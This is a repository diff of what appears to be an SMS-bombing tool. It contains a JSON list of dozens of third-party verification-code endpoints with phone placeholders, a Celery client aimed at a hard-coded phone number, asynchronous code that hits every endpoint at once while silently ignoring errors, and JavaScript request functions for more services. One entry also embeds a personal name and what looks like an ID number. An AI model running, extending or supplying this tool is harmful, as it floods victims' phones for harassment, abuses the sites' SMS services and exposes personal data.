"sha256:86b1f75c4e7c2ac2ccdaec2b9022845dbb81880ca318bb7a0a01fbf7813e3812",
"sha256:8dc1c72a69aa7e082593c4a203dcf94ddb74bb5c8a731e4e1eb68d031e8498ff",
"sha256:8e3dcf21f367459434c18e71b2a9532d96547aef8a871872a5bd69a715c15f96",
"sha256:8e576a51ad59e4bfaac456023a78f6b5e6e7651dcd383bcc3e18d06f9b55d6d1",
"sha256:96e37a3dc86e80bf81758c152fe66dbf60ed5eca3d26305edf01892257049925",
"sha256:97a68e6ada378df82bc9f16b800ab77cbf4b2fada0081794318520138c088e4a",
"sha256:99a2a507ed3ac881b975a2976d59f38c19386d128e7a9a18b7df6fff1fd4c1d6",
"sha256:a49907dd8420c5685cfa064a1335b6754b74541bbb3706c259c02ed65b644b3e",
"sha256:b09bf97215625a311f669476f44b8b318b075847b49316d3e28c08e41a7a573f",
"sha256:b7bd98b796e2b6553da7225aeb61f447f80a1ca64f41d83612e6139ca5213aa4",
"sha256:b87db4360013327109564f0e591bd2a3b318547bcef31b468a92ee504d07ae4f",
"sha256:bcb3ed405ed3222f9904899563d6fc492ff75cce56cba05e32eff40e6acbeaa3",
"sha256:d4306c36ca495956b6d568d276ac11fdd9c30a36f1b6eb928070dc5360b22e1c",
"sha256:d5ee4f386140395a2c818d149221149c54849dfcfcb9f1debfe07a8b8bd63f9a",
"sha256:dda30ba7e87fbbb7eab1ec9f58678558fd9a6b8b853530e176eabd064da81417",
"sha256:e04e26803c9c3851c931eac40c695602c6295b8d432cbe78609649ad9bd2da8a",
"sha256:e1c0b87e09fa55a220f058d1d49d3fb8df88fbfab58558f1198e08c1e1de842a",
"sha256:e72591e9ecd94d7feb70c1cbd7be7b3ebea3f548870aa91e2732960fa4d57a37",
"sha256:e8c843bbcda3a2f1e3c2ab25913c80a3c5376cd00c6e8c4a86a89a28c8dc5452",
"sha256:efc1913fd2ca4f334418481c7e595c00aad186563bbc1ec76067848c7ca0a933",
"sha256:f121a1420d4e173a5d96e47e9a0c0dcff965afdf1626d28de1460815f7c4ee7a",
"sha256:fc7b548b17d238737688817ab67deebb30e8073c95749d55538ed473130ec0c7"
],
"markers": "python_version >= '3.7'",
"version": "==2.1.1"
},
"prompt-toolkit": {
"hashes": [
"sha256:62291dad495e665fca0bda814e342c69952086afb0f4094d0893d357e5c78752",
"sha256:bd640f60e8cecd74f0dc249713d433ace2ddc62b65ee07f96d358e0b152b6ea7"
],
"markers": "python_full_version >= '3.6.2'",
"version": "==3.0.29"
},
"pytz": {
"hashes": [
"sha256:1e760e2fe6a8163bc0b3d9a19c4f84342afa0a2affebfaa84b01b978a02ecaa7",
"sha256:e68985985296d9a66a881eb3193b0906246245294a881e7c8afe623866ac6a5c"
],
"version": "==2022.1"
},
"six": {
"hashes": [
"sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926",
"sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"
],
"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
"version": "==1.16.0"
},
"speaklater": {
"hashes": [
"sha256:59fea336d0eed38c1f0bf3181ee1222d0ef45f3a9dd34ebe65e6bfffdd6a65a9"
],
"version": "==1.3"
},
"sqlalchemy": {
"hashes": [
"sha256:09c606d8238feae2f360b8742ffbe67741937eb0a05b57f536948d198a3def96",
"sha256:166a3887ec355f7d2f12738f7fa25dc8ac541867147a255f790f2f41f614cb44",
"sha256:16abf35af37a3d5af92725fc9ec507dd9e9183d261c2069b6606d60981ed1c6e",
"sha256:2e885548da361aa3f8a9433db4cfb335b2107e533bf314359ae3952821d84b3e",
"sha256:2ec89bf98cc6a0f5d1e28e3ad28e9be6f3b4bdbd521a4053c7ae8d5e1289a8a1",
"sha256:2ecac4db8c1aa4a269f5829df7e706639a24b780d2ac46b3e485cbbd27ec0028",
"sha256:316c7e5304dda3e3ad711569ac5d02698bbc71299b168ac56a7076b86259f7ea",
"sha256:5041474dcab7973baa91ec1f3112049a9dd4652898d6a95a6a895ff5c58beb6b",
"sha256:53d2d9ee93970c969bc4e3c78b1277d7129554642f6ffea039c282c7dc4577bc",
"sha256:5864a83bd345871ad9699ce466388f836db7572003d67d9392a71998092210e3",
"sha256:5c90ef955d429966d84326d772eb34333178737ebb669845f1d529eb00c75e72",
"sha256:5d50cb71c1dbed70646d521a0975fb0f92b7c3f84c61fa59e07be23a1aaeecfc",
"sha256:64678ac321d64a45901ef2e24725ec5e783f1f4a588305e196431447e7ace243",
"sha256:64d796e9af522162f7f2bf7a3c5531a0a550764c426782797bbeed809d0646c5",
"sha256:6cb4c4f57a20710cea277edf720d249d514e587f796b75785ad2c25e1c0fed26",
"sha256:6e1fe00ee85c768807f2a139b83469c1e52a9ffd58a6eb51aa7aeb524325ab18",
"sha256:6e859fa96605027bd50d8e966db1c4e1b03e7b3267abbc4b89ae658c99393c58",
"sha256:7a052bd9f53004f8993c624c452dfad8ec600f572dd0ed0445fbe64b22f5570e",
"sha256:81e53bd383c2c33de9d578bfcc243f559bd3801a0e57f2bcc9a943c790662e0c",
"sha256:83cf3077712be9f65c9aaa0b5bc47bc1a44789fd45053e2e3ecd59ff17c63fe9",
"sha256:8b20c4178ead9bc398be479428568ff31b6c296eb22e75776273781a6551973f",
"sha256:8d07fe2de0325d06e7e73281e9a9b5e259fbd7cbfbe398a0433cbb0082ad8fa7",
"sha256:a0ae3aa2e86a4613f2d4c49eb7da23da536e6ce80b2bfd60bbb2f55fc02b0b32",
"sha256:af2587ae11400157753115612d6c6ad255143efba791406ad8a0cbcccf2edcb3",
"sha256:b3db741beaa983d4cbf9087558620e7787106319f7e63a066990a70657dd6b35",
"sha256:be094460930087e50fd08297db9d7aadaed8408ad896baf758e9190c335632da",
"sha256:cb441ca461bf97d00877b607f132772644b623518b39ced54da433215adce691",
"sha256:ce20f5da141f8af26c123ebaa1b7771835ca6c161225ce728962a79054f528c3",
"sha256:d57ac32f8dc731fddeb6f5d1358b4ca5456e72594e664769f0a9163f13df2a31",
"sha256:dce3468bf1fc12374a1a732c9efd146ce034f91bb0482b602a9311cb6166a920",
"sha256:e12532c4d3f614678623da5d852f038ace1f01869b89f003ed6fe8c793f0c6a3",
"sha256:e74ce103b81c375c3853b436297952ef8d7863d801dcffb6728d01544e5191b5",
"sha256:f0394a3acfb8925db178f7728adb38c027ed7e303665b225906bfa8099dc1ce8",
"sha256:f522214f6749bc073262529c056f7dfd660f3b5ec4180c5354d985eb7219801e",
"sha256:fbf8c09fe9728168f8cc1b40c239eab10baf9c422c18be7f53213d70434dea43",
"sha256:fca8322e04b2dde722fcb0558682740eebd3bd239bea7a0d0febbc190e99dc15"
],
"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'",
"version": "==1.4.36"
},
"vine": {
"hashes": [
"sha256:4c9dceab6f76ed92105027c49c823800dd33cacce13bdedc5b914e3514b7fb30",
"sha256:7d3b1624a953da82ef63462013bbd271d3eb75751489f9807598e8f340bd637e"
],
"markers": "python_version >= '3.6'",
"version": "==5.0.0"
},
"wcwidth": {
"hashes": [
"sha256:beb4802a9cebb9144e99086eff703a642a13d6a0052920003a230f3294bbe784",
"sha256:c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83"
],
"version": "==0.2.5"
},
"werkzeug": {
"hashes": [
"sha256:1ce08e8093ed67d638d63879fd1ba3735817f7a80de3674d293f5984f25fb6e6",
"sha256:72a4b735692dd3135217911cbeaa1be5fa3f62bffb8745c5215420a03dc55255"
],
"markers": "python_version >= '3.7'",
"version": "==2.1.2"
},
"wtforms": {
"hashes": [
"sha256:6b351bbb12dd58af57ffef05bc78425d08d1914e0fd68ee14143b7ade023c5bc",
"sha256:837f2f0e0ca79481b92884962b914eba4e72b7a2daaf1f939c890ed0124b834b"
],
"markers": "python_version >= '3.7'",
"version": "==3.0.1"
},
"zipp": {
"hashes": [
"sha256:56bf8aadb83c24db6c4b577e13de374ccfb67da2078beba1d037c17980bf43ad",
"sha256:c4f6e5bbf48e74f7a38e7cc5b0480ff42b0ae5178957d564d18932525d5cf099"
],
"markers": "python_version >= '3.7'",
"version": "==3.8.0"
}
}
}

745
api.json Executable file
View File

@@ -0,0 +1,745 @@
[
{
"desc": "彩云小译",
"url": "https://biz.caiyunapp.com/v1/send_sms_code",
"method": "POST",
"header": {
"Referer": "https://fanyi.caiyunapp.com/",
"Cy-Token": "token 9876032166"
},
"data": {
"phone_num": "[phone]",
"area_code": "86"
}
},
{
"desc": "网易云游戏",
"url": "https://n.cg.163.com/api/v1/phone-captchas/86-[phone]",
"method": "POST",
"header": "",
"data": {
"etc": {
"validate": ""
}
}
},
{
"desc": "果壳app",
"url": "https://guokrapp-apis.guokr.com/hawking/v1/verifications",
"method": "POST",
"header": {
"User-Agent": "android 2.0.15",
"Client-Source": "android;23;Android;MuMu",
"Client-Channel": "gkchannel_QD009",
"Content-Type": "application/json; charset=UTF-8"
},
"data": {
"dial_code": "0086",
"phone": "[phone]"
}
},
{
"desc": "踢米app",
"url": "https://www.timing360.com/user/send-captcha",
"method": "POST",
"header": {
"Authorization": "7119181942667E7D85987C65A6D0B8EC",
"Content-Type": "application/x-www-form-urlencoded"
},
"data": "_app_version=10.13.2&_carrier=&_city=&_country=&_country_code=&_date=2022-04-05&_device_id=b6ad5aabe403d839&_device_manufacturer=Netease&_device_model=MuMu&_device_os=Android&_device_os_version=6.0.1&_distinct_id=a86d6bb7-8e26-43c5-baf3-82cdf95fffdd&_ip=&_is_login_id=0&_login_method=phone&_network_type=WIFI&_province=&_screen_height=2000&_screen_width=1125&_time=2022-04-05%2021%3A21%3A13&_user_id=a86d6bb7-8e26-43c5-baf3-82cdf95fffdd&_wifi=1&adCode=&brand=Android&city=&cityCode=&countryCode=86&imei=861151055733959&isCheckPhoneExist=0&latitude=&longitude=&market=yyb&nonce=708380&os=6.0.1&osType=1&phoneModel=MuMu&phoneNumber=[phone]&sessionId=e1c69361-c78b-4f4d-8c98-938ba4eccff6×tamp=[timestamp]&userID=-709178027&userKey=11111111111111111111111111111111&versioncode=187"
},
{
"desc": "微爱app",
"url": "http://api.welove520.com/v5/account/phone/verifyCode/send?phone_number=[phone]&client_id=464847866_[timestamp]&type=6&area_code=86&app_key=ac5f34563a4344c4&sig=xvP64W04tR%2FNJoZEJEoJySmlIXU%3D",
"method": "POST",
"header": "",
"data": ""
},
{
"desc": "返利app(24小时限制)",
"url": "https://passport.fanli.com/mobileapi/i/user/mobileFastReg?jsoncallback=jQuery21105357980471043338_[timestamp]&mobile=[phone]&countrycode=86&mobilestep=1&_=[timestamp]",
"method": "GET",
"header": "",
"data": ""
},
{
"desc": "酷安(一天只能一次)",
"url": "https://account.coolapk.com/auth/login?type=mobile",
"method": "POST",
"header": "",
"data": "submit=1&requestHash=c2592a6dr9x510&country=86&mobile=[phone]&captcha=&randomNumber=0undefined7952784010774208"
},
{
"desc": "广东高考报名web",
"url": "https://pg.eeagd.edu.cn/ks/public/kszc/zcyzm.jsmeb",
"method": "POST",
"header": "",
"data": "[phone]"
},
{
"desc": "广东教育翔云",
"url": "https://gl.gdedu.gov.cn/api-service/captcha?phoneNumber=[phone]&captchaType=QUERY_ADMIN",
"method": "GET",
"header": "",
"data": ""
},
{
"desc": "迪卡侬",
"url": "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code",
"method": "POST",
"header": "",
"data": {
"countryCode": "CN",
"mobile": "[phone]"
}
},
{
"desc": "股海网",
"url": "https://www.guhai.com.cn/front/member/sendSmsCode",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "LLL的个人blog",
"url": "http://www.lll.plus/sendCode/",
"method": "POST",
"header": "",
"data": {
"tel": "[phone]",
"forgetPwd": ""
}
},
{
"desc": "企米子",
"url": "https://www.xcxui.com/index/register/getcode.html",
"method": "POST",
"header": "",
"data": {
"tel": "[phone]"
}
},
{
"desc": "蒲公英",
"url": "https://id.pgyer.com/user/getRegisterCode",
"method": "POST",
"header": "",
"data": {
"tel": "[phone]",
"callingCode": "86",
"mode": "tel"
}
},
{
"desc": "百卓优采",
"url": "https://erp.abiz.com/mobilecode/sendMobileCode",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]",
"captcha": ""
}
},
{
"desc": "云背篓",
"url": "https://brand.yunbeilou.com/index.php/smssend",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"v": "yes"
}
},
{
"desc": "PHP中文网",
"url": "https://m.php.cn/account/phone_code.html",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "12321",
"url": "http://dhba.12321.cn/api/verifycode",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "Testin众测",
"url": "https://www.ztestin.com/users/send/vercode",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"type": "register",
"voice": "0"
}
},
{
"desc": "海尔",
"url": "http://maker.haier.net/client/user/sendregistervcode.html",
"method": "POST",
"header": "",
"data": {
"account": "[phone]"
}
},
{
"desc": "飞猫云",
"url": "https://www.feimaoyun.com/index.php/invite/h5sendmsg",
"method": "POST",
"header": "",
"data": {
"pcode": "+86",
"phone": "[phone]"
}
},
{
"desc": "华觉数字化平台",
"url": "https://end.huajuetech.com/api/sendCode",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]",
"email": "null",
"verfy_method": "mobile"
}
},
{
"desc": "问政江西",
"url": "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "河南智慧党建",
"url": "http://api.hndyjyfw.gov.cn/djapi/mobileVerify",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"verifytype": "1"
}
},
{
"desc": "陆陆陆云安全",
"url": "https://cloud.666idc.com/index/login/sendsms.html",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]",
"mobile_pre": "86"
}
},
{
"desc": "网易",
"url": "https://dz.blizzard.cn/action/user/mobile/captcha",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "码云社",
"url": "https://www.codeseeding.com/loginUser/toSend",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "人才山东",
"url": "http://sso.rcsd.cn/regist/getVerifyCode",
"method": "POST",
"header": "",
"data": {
"personcall": "[phone]"
}
},
{
"desc": "水利部",
"url": "http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "七联大学",
"url": "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode",
"method": "POST",
"header": "",
"data": {
"phoneNumber": "[phone]",
"sendType": "0"
}
},
{
"desc": "闪德资讯",
"url": "https://www.0101ssd.com/user/sendmsg",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]",
"event": "register"
}
},
{
"desc": "江苏省名师空中课堂",
"url": "https://mskzkt.jse.edu.cn/baseApi/user/code/",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]",
"type": "1"
}
},
{
"desc": "CSFF短片",
"url": "https://csff.cutv.com/wapi/users/sendregcode",
"method": "POST",
"header": "",
"data": {
"telphone": "[phone]"
}
},
{
"desc": "广西人社厅",
"url": "http://rswb.gx12333.net/member/getRegisterphoneCode.jspx",
"method": "POST",
"header": "",
"data": {
"aae005": "[phone]",
"aac003": "刘萌萌",
"aac002": "210212198506035924",
"notkeyflag": "1"
}
},
{
"desc": "麦克赛尔数字映像",
"url": "https://www.maxell-dm.cn/Code/CheckImage.aspx",
"method": "POST",
"header": "",
"data": {
"action": "send",
"txtMember_Name": "[phone]"
}
},
{
"desc": "宝提分",
"url": "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "选型系统",
"url": "http://www.cnppump.ltd/Service/UserHandler.ashx",
"method": "GET",
"header": "",
"data": {
"cmd": "GetTelVerifyCode",
"Tel": "[phone]"
}
},
{
"desc": "千里马网信科技",
"url": "http://vip.qianlima.com/rest/u/api/user/register/mobile/code",
"method": "POST",
"header": "",
"data": {
"tips": "1",
"shouji": "[phone]"
}
},
{
"desc": "保定云",
"url": "https://baodingyun.com.cn/register/send_registerSMS.html",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "欢动游戏",
"url": "http://www.gm5.com/auth/registerSms.html",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "迈威",
"url": "https://www.maiwe.com.cn/index/sendcode.html",
"method": "GET",
"header": "",
"data": {
"tel": "[phone]"
}
},
{
"desc": "憨鼠社区",
"url": "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "天鹅到家",
"url": "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "诺达筑工",
"url": "http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "栋才智慧",
"url": "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "工伤预防网上培训平台",
"url": "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "济宁专技",
"url": "https://sdjn-web.yxlearning.com/sendphoneCode.gson",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"sendType": "4"
}
},
{
"desc": "宁夏伊地地质工程有限公司",
"url": "http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "青春大学说",
"url": "http://zycp.qcdxs.com:5001/sms/sendsms",
"method": "POST",
"header": "",
"data": {
"phone_number": "[phone]"
}
},
{
"desc": "兴业利达电子招投标平台",
"url": "https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms",
"method": "POST",
"header": "",
"data": {
"username": "[phone]",
"type": "regUser",
"mobile": "PC"
}
},
{
"desc": "火象",
"url": "https://v1.alphazone-data.cn/academy/api/v1/sendsms",
"method": "POST",
"header": "",
"data": {
"temp": "1",
"phone": "[phone]"
}
},
{
"desc": "中科教育",
"url": "https://www.vipexam.cn/user/identifyingCode.action",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "聚题库",
"url": "https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "苏州高新区教育局",
"url": "https://jssnd.edu.cn/apiu/v1/register/auth",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "专业技术人员继续教育平台",
"url": "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "泰安专技",
"url": "https://sdta-web.yxlearning.com/sendphoneCode.gson",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"sendType": "4"
}
},
{
"desc": "漏洞银行",
"url": "https://www.bugbank.cn/api/verifymobile",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "中国劳动保障新闻网",
"url": "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "广东省心理学会",
"url": "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "费耘网",
"url": "https://www.feeclouds.com/homepage/register/send",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "语雀web",
"url": "https://www.yuque.com/api/validation_codes",
"method": "POST",
"header": {
"referer": "https://www.yuque.com/register"
},
"data": {
"target": "[phone]",
"action": "register",
"channel": "sms"
}
},
{
"desc": "甜糖app",
"url": "http://tiantang.mogencloud.com/web/api/login/code?phone=[phone]",
"method": "POST",
"header": "",
"data": ""
},
{
"desc": "网心云APP",
"url": "https://account-box.onethingpcs.com/xluser.core.login/v3/sendsms",
"method": "POST",
"header": "",
"data": {
"protocolVersion": "301",
"sequenceNo": "1000001",
"platformVersion": "10",
"isCompressed": "0",
"appid": "22017",
"clientVersion": "3.15.1",
"peerID": "00000000000000000000000000000000",
"appName": "ANDROID-com.onethingcloud.android",
"sdkVersion": "204500",
"devicesign": "div101.095893e2bfa13a199f83691076c8bbb9ab0d01f75c929975048142c2fa38402b",
"netWorkType": "WIFI",
"providerName": "NONE",
"deviceModel": "M2102J2SC",
"deviceName": "Xiaomi M2102j2sc",
"OSVersion": "11",
"creditkey": "",
"hl": "zh-CN",
"mobile": "[phone]",
"register": "0"
}
},
{
"desc": "乐教乐学",
"url": "http://id.lejiaolexue.com/api/sendvericode.ashx?phone=[phone]",
"method": "GET",
"header": "",
"data": ""
},
{
"desc": "云杏HIS系统(九明珠)",
"url": "http://www.yhis999.cn/yunhis/register.do?act=lable&type=yzm",
"method": "POST",
"header": "",
"data": "{'lxdh': [phone]}"
},
{
"desc": "秘塔写作",
"url": "https://xiezuocat.com/verify?type=signup",
"method": "POST",
"header": "",
"data": {
"phone": "86-[phone]"
}
},
{
"desc": "CNMO 网站",
"url": "http://passport.cnmo.com/index.php?c=Member_Ajax_Register&m=SendMessageCode&Jsoncallback=jQuery18306147606011785998_[timestamp]&mobile=[phone]&type=5&_=[timestamp]",
"method": "POST",
"header": "",
"data": ""
},
{
"desc": "DR钻戒web",
"url": "https://elove.darryring.com/api/crm/newGwLogin/getSMSValidCode?phone=[phone]&type=login",
"method": "GET",
"header": "",
"data": ""
},
{
"desc": "有享云商web",
"url": "https://mallapi.yofogo.com/biz-mall-application/v1/user/verifyCode/getVerifyCode?phone=[phone]&descriptionType=1&codeType=2",
"method": "GET",
"header": "",
"data": ""
},
{
"desc": "研才教育app",
"url": "https://mall.yancais.com/api/sms/send?phone=[phone]",
"method": "GET",
"header": "",
"data": ""
},
{
"desc": "成卓科技",
"url": "https://callphone.hnczkj.cn/app_api/json/sendSms",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"product": "biyingdianhua_ios",
"key": "mwoe093fwef"
}
},
{
"desc": "加密电话",
"url": "https://m.4009991000.com/valNumQry.action",
"method": "POST",
"header": "",
"data": {
"appType": "1",
"app_id": "5555",
"mobileNo": "[phone]",
"sig": "16cd52ea74f5ea4a6c2fe80b9a04f8b5",
"src": "1",
"v": "4.9.2",
"validType": "3"
}
},
{
"desc": "快应用美抽",
"url": "http://users.seeyouyima.com/xiaomi/connect/?action=getCaptcha&v=2.1.0&app_id=11&platform=7&myclient=1172100000&account=[phone]",
"method": "POST",
"header": "",
"data": ""
},
{
"desc": "小叶子app",
"url": "https://dss.xiaoyezi.com/student_app/auth/validate_code?mobile=[phone]&country_code=86",
"method": "GET",
"header": "",
"data": ""
},
{
"desc": "牙e在线",
"url": "https://yae920.com/login/sendSMS?mobile=[phone]&smsType=02&timestamp=[timestamp]",
"method": "POST",
"header": "",
"data": "mobile=[phone]&smsType=02&timestamp=[timestamp]"
},
{
"desc": "某数图表web(存疑)",
"url": "https://dycharts.com/vis/auth/send_signin_sms_code",
"method": "POST",
"header": "",
"data": {
"phoneNo": "13809213237"
}
},
{
"desc": "17k小说网app",
"url": "http://api.17k.com/user/mobile/[phone]/message?smsType=2&deviceFlag=64e538d8f0cff7bb107dd8c1fba0f5a2&cpsOpid=17Kxiaomi&_filterData=1&device_id=e0c0b30933e42492&channel=0&_versions=1280&merchant=17Kxiaomi&ua=Mozilla%2F5.0%20%28Linux%3B%20Android%2011%3B%20M2102J2SC%20Build%2FRKQ1.200826.002%3B%20wv%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Version%2F4.0%20Chrome%2F100.0.4896.127%20Mobile%20Safari%2F537.36&platform=2&manufacturer=Xiaomi&clientType=1&width=1080&appKey=4037465544&model=M2102J2SC&cpsSource=0&brand=Xiaomi&youthModel=0&height=2206",
"method": "GET",
"header": "",
"data": ""
},
{
"desc": "汇看点快应用",
"url": "https://grzx.brily.cn/api/utils/sendSmsCode?phone=[phone]&type=USER_REG",
"method": "POST",
"header": "",
"data": ""
},
{
"desc": "核桃编程app",
"url": "https://api.hetao101.com/login/v2/account/oauth/verifyCode?phoneNumber=[phone]",
"method": "GET",
"header": "",
"data": ""
},
{
"desc": "永城至敏",
"url": "http://101.132.126.166:8080/message/sendVerifyCode?callback=successCallback&mobilePhone=[phone]&t=1589625247333action_type=regist&mobile=[phone]",
"method": "GET",
"header": "",
"data": ""
},
{
"desc": "金中网",
"url": "https://jrh.financeun.com/Login/sendMessageCode3.html?mobile=[phone]&mbid=197858&check=3",
"method": "GET",
"header": "",
"data": ""
}
]

7
celery-client.py Normal file
View File

@@ -0,0 +1,7 @@
from celery_server.tasks import asyncRun
# r = test.delay(1,2)
# r2 = test.delay(1,2)
r = asyncRun.delay("13809213237")
print(r.get())

8
celery_server/README.MD Normal file
View File

@@ -0,0 +1,8 @@
# Celery 异步服务器后端模块
## 部署
```shell
pip install celery gevent -i https://pypi.doubanio.com/simple/
celery -A celery_server worker -l info --pool=eventlet
```
需要在 celery 5.0 中才能使用 async

View File

17
celery_server/celery.py Normal file
View File

@@ -0,0 +1,17 @@
from celery import Celery
from celery.utils.log import get_task_logger
app = Celery(
'celery_server',
include=[
'celery_server.tasks'
]
)
app.config_from_object(
'celery_server.config',
)
logger = get_task_logger(__name__)
if __name__ == '__main__':
app.start()

11
celery_server/config.py Normal file
View File

@@ -0,0 +1,11 @@
#broker(消息中间件来接收和发送任务消息)
BROKER_URL = 'redis://localhost:6379/1'
#backend(存储worker执行的结果)
CELERY_RESULT_BACKEND = 'redis://localhost:6379/2'
#设置时间参照不设置默认使用的UTC时间
CELERY_TIMEZONE = 'Asia/Shanghai'
#指定任务的序列化
CELERY_TASK_SERIALIZER='json'
#指定执行结果的序列化
CELERY_RESULT_SERIALIZER='json'

87
celery_server/utils.py Normal file
View File

@@ -0,0 +1,87 @@
# encoding=utf8
# 请求的方法
from smsboom import load_getapi, load_json
from utils.log import logger
from utils.models import API
from utils import default_header
import httpx
from httpx import Limits
from typing import Union, List
import asyncio
import sys
sys.path.append("E:\coding\SMSBoom")
def reqAPI(api: API, client: httpx.AsyncClient):
if isinstance(api.data, dict):
resp = client.request(method=api.method, json=api.data,
headers=api.header, url=api.url, timeout=10)
else:
resp = client.request(method=api.method, data=api.data,
headers=api.header, url=api.url, timeout=10)
return resp
async def asyncReqs(src: Union[API, str], phone: Union[tuple, str], semaphore):
"""异步请求方法
:param:
:return:
"""
# 多手机号支持
if isinstance(phone, tuple):
phone_lst = [_ for _ in phone]
else:
phone_lst = [phone]
async with semaphore:
async with httpx.AsyncClient(
limits=Limits(max_connections=1000,
max_keepalive_connections=2000),
headers=default_header,
verify=False,
timeout=99999
) as c:
for ph in phone_lst:
try:
if isinstance(src, API):
src = src.handle_API(ph)
r = await reqAPI(src, c)
else:
# 利用元组传参安全因为元组不可修改
s = (src.replace(" ", "").replace("\n", "").replace("\t", "").replace(
"&amp;", "").replace('\n', '').replace('\r', ''),)
r = await c.get(*s)
return r
except httpx.HTTPError as why:
# logger.error(f"异步请求失败{type(why)}")
pass
except TypeError:
# logger.error("类型错误")
pass
except Exception as wy:
# logger.exception(f"异步失败{wy}")
pass
def callback(result):
"""异步回调函数"""
log = result.result()
if log is not None:
# logger.info(f"请求结果:{log.text[:30]}")
print(log.text[:30])
pass
async def runAsync(apis: List[Union[API, str]], phone: Union[tuple, str]):
tasks = []
for api in apis:
semaphore = asyncio.Semaphore(999999)
task = asyncio.create_task(asyncReqs(api, phone, semaphore))
task.add_done_callback(callback)
tasks.append(task)
await asyncio.gather(
*tasks
)

0
debug/__init__.py Normal file
View File

BIN
debug/api.db Executable file

Binary file not shown.

868
debug/api.js Executable file
View File

@@ -0,0 +1,868 @@
/**
* 第三方网站短信接口
* 最后更新2022-04-12
* @type {*[]}
*/
var requestList = [
{
name: '工图网',
fn: function (phone) {
$.ajax({
url: "http://www.900ppt.com/api/login/getSmsCode",
data: {
phone: phone,
easy: 1
},
type: "GET",
dataType: "json",
});
}
},
{
name: '少儿编程',
fn: function (phone) {
$.ajax({
url: "http://test.marketing.i.vipcode.com/api/marketing/dataStatistics/sendCode",
type: "POST",
data: {phone: phone,},
dataType: "json",
})
}
},
{
name: '泰康在线',
fn: function (phone) {
function encrypt(data) {
var key = CryptoJS.enc.Utf8.parse("AE74AF98D6BF55BF");
var srcs = CryptoJS.enc.Utf8.parse(data);
var encrypted = CryptoJS.AES.encrypt(srcs, key, {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7
});
return encrypted + "";
}
phone = encodeURIComponent(encrypt(phone))
$.ajax({
'url': 'http://ecs.tk.cn/eservice/member/login',
'type': 'POST',
'data': 'syn=Y&functioncode=getmark&mobile=' + phone,
'dataType': 'json',
});
}
},
{
name: '千库编辑',
fn: function (phone) {
$.ajax({
url: 'https://editor.588ku.com/site-api/send-tel-login-code',
type: 'GET',
data: {
num: phone,
},
async: false
});
}
},
{
name: "编程猫",
